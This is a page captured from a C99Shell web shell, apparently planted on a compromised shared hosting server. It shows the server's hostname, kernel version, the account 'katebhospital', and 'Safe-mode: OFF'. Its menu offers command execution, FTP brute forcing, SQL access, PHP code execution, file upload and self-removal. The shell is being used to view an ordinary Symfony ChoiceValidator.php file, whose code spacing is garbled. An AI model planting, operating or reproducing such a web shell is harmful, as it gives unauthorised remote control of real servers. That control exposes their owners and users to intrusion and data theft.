!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php53/usr/share/pear/Symfony/Component/Validator/Constraints/   drwxr-xr-x
Free 293.65 GB of 429.69 GB (68.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ChoiceValidator.php (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Validator\Constraints;

use 
Symfony\Component\Validator\Constraint;
use 
Symfony\Component\Validator\ConstraintValidator;
use 
Symfony\Component\Validator\Exception\ConstraintDefinitionException;
use 
Symfony\Component\Validator\Exception\UnexpectedTypeException;

/**
 * ChoiceValidator validates that the value is one of the expected values.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Florian Eckerstorfer <florian@eckerstorfer.org>
 * @author Bernhard Schussek <bschussek@gmail.com>
 *
 * @api
 */
class ChoiceValidator extends ConstraintValidator
{
    
/**
     * {@inheritDoc}
     */
    
public function validate($valueConstraint $constraint)
    {
        if (!
$constraint->choices && !$constraint->callback) {
            throw new 
ConstraintDefinitionException('Either "choices" or "callback" must be specified on constraint Choice');
        }

        if (
null === $value) {
            return;
        }

        if (
$constraint->multiple && !is_array($value)) {
            throw new 
UnexpectedTypeException($value'array');
        }

        if (
$constraint->callback) {
            if (
is_callable(array($this->context->getClassName(), $constraint->callback))) {
                
$choices call_user_func(array($this->context->getClassName(), $constraint->callback));
            } elseif (
is_callable($constraint->callback)) {
                
$choices call_user_func($constraint->callback);
            } else {
                throw new 
ConstraintDefinitionException('The Choice constraint expects a valid callback');
            }
        } else {
            
$choices $constraint->choices;
        }

        if (
$constraint->multiple) {
            foreach (
$value as $_value) {
                if (!
in_array($_value$choices$constraint->strict)) {
                    
$this->context->addViolation($constraint->multipleMessage, array('{{ value }}' => $_value));
                }
            }

            
$count count($value);

            if (
$constraint->min !== null && $count $constraint->min) {
                
$this->context->addViolation($constraint->minMessage, array('{{ limit }}' => $constraint->min), null, (int) $constraint->min);

                return;
            }

            if (
$constraint->max !== null && $count $constraint->max) {
                
$this->context->addViolation($constraint->maxMessage, array('{{ limit }}' => $constraint->max), null, (int) $constraint->max);

                return;
            }
        } elseif (!
in_array($value$choices$constraint->strict)) {
            
$this->context->addViolation($constraint->message, array('{{ value }}' => $value));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.004 ]--